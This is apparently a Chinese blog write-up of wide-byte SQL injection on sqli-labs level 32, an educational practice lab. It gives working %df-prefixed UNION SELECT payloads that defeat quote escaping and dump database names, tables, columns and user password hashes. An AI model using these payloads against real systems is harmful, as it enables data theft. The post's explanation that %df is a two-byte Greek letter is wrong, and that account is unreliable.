本人小白一个,如果有错误的地方希望大佬可以指出,有疑问也可以在评论区留言我们可以一起探讨学习。
sql注入之宽字节注入
先来了解什么是宽字节
在不同的语言中不同的文字所占有的字节是不同的
英文与数字只占用一个字节
我们可以看到在文档中我写入了一个字母在属性中可以看到所占字节为1
如果是汉字呢?
可以看到变成了三个字节。
然后在英文数字与汉字之间还存在一种只占用两个字节的希腊字母,而我们的宽字节注入就是需要使用希腊字母来进行解析为不同的内容,从而影响SQL语句的结构和执行结果。
现在我们可以打开sqli-labs的第32关来进行我们的一个测试
?id=0' order by 3--+
是不是会发现我们的注释符单引号被’\‘转义了,达不到我们闭合的一个目的了。在这种情况下无论如何我们都不可能进行一个注入。
我的理解是要将转义字符使用宽字节给挤掉。
第一步:注出数据库
?id=0%df' order by 4--+
在语句中%df是β的url编码
可以看到现在会进行一个正常的报错了吧。
?id=0%df' union select 1,database(),3--+
我们是不是就得到了数据库
第二步:注出数据库中的表
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
第三步:注出数据库中的表中的列
这里我们依旧选择含有个人敏感信息的users表
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),3 --+
第四步:读取个人敏感信息
?id=0%df' union select 1,group_concat(username ,0x7e, password),3 from security.users--+
总结一下
其实大家去多看看宽字节注入的sqli-libs的大佬题解就会发现一个问题:大佬们基本上只教给你如何注出数据库,后面的都没有进行一个演示,只是告诉你正常注出即可。
这就导致了一个问题。
?id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
为什么我明明是一个正常的注入但是会报错呢,是不是因为后面有单引号导致的呢?
是的,那么我们可以通过%df将后面的单引号进行一个挤掉来注出呢?
?id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= %df'security%df'),3--+
答案是不行。
如果师傅看过我前面的文章就会发现在这次注入中我所使用的语句和之前常用的有所不同。那是为了去掉后面存在单引号进行的一个影响。
当时我在学习sql注入中被这个问题困惑很久,希望可以对各位师傅们产生一定的帮助。
无需凭借风势,望汝直上云霄。